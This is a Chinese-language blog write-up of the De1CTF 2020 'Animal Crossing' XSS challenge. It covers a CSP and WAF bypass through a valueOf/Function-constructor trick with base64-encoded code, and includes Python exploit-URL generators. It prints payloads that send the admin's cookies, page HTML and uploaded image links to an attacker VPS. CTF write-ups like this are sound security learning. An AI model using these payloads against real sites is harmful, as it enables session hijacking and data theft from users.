sky's blog

2020 De1CTF & Animal Crossing

字数统计: 1,220阅读时长: 5 min
2020/05/03 Share

前言

五一的时候参与了一下De1CTF,里面有一道题让我印象很深刻:Animal Crossing。

题目分析

题干描述如下:

可能作者很喜欢玩动森),进去之后是一个如下页面:

我们随机输入一些字符串后,来到下一页:

此时我们的url:

1
http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=vcwevcw

我们随机更改,页面会相应变化,同时发现有admin report界面:

那么很明显了,这应该是一个xss打管理员cookie的题目。
尝试fuzz了一下各个参数,发现攻击点应该在data参数上,但其过滤了大量的字符,并且设有csp,导致常规的xss做法并不适用:

1
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval';object-src 'none';

原型链构造


发现我们的代码会被拼接在此处进行执行,那么首先进行闭合:

1
view-source:http://134.175.231.113:8848/passport?image=%2Fstatic%2Fhead.jpg&island=vwev&fruit=&name=ewvc&data=%27||1111//


那么如何利用1111部分的代码,让我们达到执行任意代码的目的呢?
这里就和一些trick有关,我们看一个例子:

可以看到,对于toString,其会将其他值以字符串形式表示,特别的,对于对象,其会转换为[object Object],而对于数组,其会转换为Array.join(‘,’)的形式进行拼接。但是对于valueOf( ),其返回的则是自身。
那我们再看一个例子:

在一元加操作符操作对象的时候,会先调用对象的valueOf方法来转换,如此一来,我们可以利用这一特点,进行函数构造执行代码。那么我们回到题目中:

如此一来,我们就可以定义function内容:

那么我们再搭配上valueOf:

当然,代码中没有+1的操作,那么怎么触发valueOf呢?其实很简单:

如此一来,我们即可进行任意代码执行。

xss打cookie

在可执行任意代码后,我们下一步就是进行location跳转打cookie:

1
location='http://vps_ip?flag='+document.cookie

但是由于题目设置了较为恶心的waf,所以我们这里选择利用atob编码绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

from base64 import b64encode

s = """
location='http://vps_ip?flag='+document.cookie
"""

print(s)

data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d')

url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//"
print(url)

编写代码如上,以用于自动生成exp。
攻击后即可得到管理员cookie:

1
FLAG=De1CTF{I_l1k4_

xss打管理员页面

但很显然只有一半flag是不行的,于是想到读一下管理员页面信息:

1
location='http://vps_ip?flag='+btoa(document.body.innerHTML)

得到信息解码后如下:

可以发现管理员界面有无数张图片= =,猜想flag要么是其中一张,要么是拼接所有图片得到。那么尝试访问目录访问图片,但发现均为500,无法直接访问。
于是这里想到方案有2种:
1.利用js截图,将页面带出
2.将图片全部传出来
在解题中我选择了第二种思路,那么如何把图片传出呢?这里我们发现题目还有一个上传功能,可以让我们上传头像,但是只允许png和jpg后缀,这也是为何我选择了第二种方法,因为后缀名没法bypass(但是后来交流发现,不需要bypass后缀= =,我太菜啦!)
那么这里的思路转变为让管理员将图片上传后,再将return的访问url传出到我们的vps,我们即可获取到图片,于是写出如下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

from base64 import b64encode

s = """
(async()=>{
const arr = []
for(let i=1;i<=9;i++) {
res = await fetch(`/island/test_$0{i}.png`)
data = await res.blob()
const os = new FormData();
const mf = new File([data], "name.png");
os.append("file", mf);
r = await fetch("/upload", {method: "POST",body: os})
data = await r.json()
arr.push(data.data)
}
location="http://vps_ip/?c="+btoa(JSON.stringify(arr))
})();
"""

print(s)

data=b64encode(s.encode('utf-8')).decode('utf-8').replace('+', '%2b').replace('=','%3d')

url = "/passport?image=&island=&fruit=&name=&data=%27||{%22valueOf%22:new%20%22%22.constructor.constructor(atob(%27"+ data +"%27))}%2b1//"
print(url)

然后将400张图拼在一起,得到后半段flag:

当然这里额外提一下,其实引入js库,不需要bypass js后缀,我们利用如下方式即可:

1
fetch(`/static/images/xxxxxx.png`).then(res=>res.text()).then(txt=>eval(txt))

然后引入js库,截图后将图片利用upload上传,再把return url发送到我们服务器即可~

后记

这道xss是我认为De1CTF比较有趣的一道题目了,首先考的就是纯web,其次出题的思路比较好,而不是一味的恶心人= =,点个赞~

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 题目分析
  3. 3. 原型链构造
  4. 4. xss打cookie
  5. 5. xss打管理员页面
  6. 6. 后记